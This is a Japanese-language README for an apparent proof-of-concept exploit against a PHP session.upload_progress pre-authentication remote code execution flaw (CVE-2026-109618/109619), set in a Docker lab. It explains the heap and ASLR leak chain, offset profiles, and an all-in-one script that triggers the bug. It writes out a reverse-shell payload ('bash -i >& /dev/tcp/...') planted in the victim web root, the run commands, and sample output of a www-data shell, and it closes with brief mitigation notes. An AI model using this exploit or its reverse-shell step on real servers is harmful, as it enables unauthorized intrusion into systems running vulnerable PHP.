
PHPのsession.upload_progress認証前RCE(PHP2Shell)の概念実証エクスプロイト。ヒープ/ASLRリーク、ビルドごとのオフセットプロファイル、オールインワンのリバースシェルハンドラを備える。
★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress 認証前 RCE PoC ★
PHP2Shell (CVE-2026-109618 / CVE-2026-109619) は、Apache
mod_php環境下の PHP における未認証のリモートコード実行脆弱性です。 細工されたmultipart/form-dataリクエストがリクエスト前のsession.upload_progressハンドラでメモリ不足によるベイルアウトを引き起こし、古いポインタが残ることでSet-Cookie経由で Zend ヒープおよびlibphp.soのベースアドレスが漏洩します(ASLR を回避)。さらに、偽造された HashTable がデストラクタをzif_systemにリダイレクトし、Web ワーカー(www-data)としてコマンドを実行します。 認証は不要で、脆弱なセッション設定はデフォルトで有効になっています。
| カテゴリ | バージョン |
|---|---|
| 脆弱 | パッチ適用前の PHP 8.2.x / 8.3.x / 8.4.x / 8.5.x |
| 修正済み | PHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 以降 (2026-10-21) |
| 検証済み環境 | 公式 php:8.4.26-apache (Debian 13, amd64) |
オフセットはビルドごと(バージョン · アーキテクチャ · ディストリビューション)に異なります。この PoC には
8.4.26-apache amd64用のプロファイルが同梱されています。他のビルドにはそれぞれ専用のprofiles/*.jsonが必要です。
www-data)としてのリモートコード実行libphp ポインタ、さらにはセッショントークンや鍵の可能性も)被害者 = 以下の設定を持つ公式 php:8.4.26-apache。攻撃者は同じ Docker ブリッジ上の別コンテナ
(eqst-kali)から実行し、リバースシェルはその IP にコールバックします。
# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim # e.g. 172.17.0.2
# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
| 前提条件 | このラボでの状態 |
|---|---|
PHP 8.2–8.5(パッチ適用前)+ Apache mod_php | PHP 8.4.26 / Apache 2.4.69、prefork |
session.upload_progress.enabled | On(デフォルト) |
session.use_strict_mode | 0(デフォルト) |
display_errors | On(ステージ1のリークを出力する) |
memory_limit | 128M(デフォルト — 変更なし) |
post_max_size / upload_max_filesize > memory_limit(リクエストボディがOOMに到達できるようにする) | 256M(アップロード対応アプリでは一般的に引き上げられている) |
| 単一のApacheワーカープロセス(古い状態はプロセス単位) | 1 |
ホストに関する注意(WSL2): Windows Docker Desktop(WSL2)では、カーネルが
libphpを0x7c...にマッピングします。これは上流のエクスプロイトの0x7F...ASLRチェックより下であるため、有効なリークを破棄してしまいます。p2s_shell.pyはその範囲を自動的に広げます。ネイティブのLinuxホストでは、このパッチは何も行いません。
p2s_shell.py は単一のプロセスであり、自身のリスナーを開き、上流のエクスプロイトを取得し、ターゲットのPHPバージョンに基づいて profiles/*.json からオフセットを選択し、チェーンをトリガーし、PTYにアップグレードされたリバースシェルを受け取ります(別途 nc は不要)。
PoC/
├── Dockerfile # victim image (config inlined)
├── p2s_shell.py # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json # per-build offsets (system/dtor/htdata)
(vendor/exploit.py is auto-fetched from upstream at run time; not stored here)
事前に一度だけ必要な準備: リバースシェルのペイロードを被害者のウェブルートに配置します(コマンドキャリアは14バイトであるため、上流の手順に従い、長いペイロードはファイルに格納して bash</w/c 経由で実行します):
KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c" # /w = web root symlink
攻撃者側からPoCを実行します(パスはスクリプトからの相対パスです):
# interactive PTY shell (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php
# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'
X-Powered-By: PHP/8.4.26 をフィンガープリントし、一致するプロファイルを読み込み、シェルを取得します:
[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
オプション:
--run 'c1;c2' — バッチモード(対話型ターミナル不要)--no-pty — PTYへのアップグレードを行わず、プレーンなダムシェルのままにする--php-version / --arch — X-Powered-By が隠されている場合にターゲットビルドを上書きする--lport — リバースシェルのポート(/w/c に埋め込まれたポートと一致させる必要あり、デフォルト 4444)session.upload_progress.enabled = Off を設定するdisplay_errors = Off を設定する(同梱のステージ1リークを防ぐ)zend_mm_heap corrupted のログ行を監視する